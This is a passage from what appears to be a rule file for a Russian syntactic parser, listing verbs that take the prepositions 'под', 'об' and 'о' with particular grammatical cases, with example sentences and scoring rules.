rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
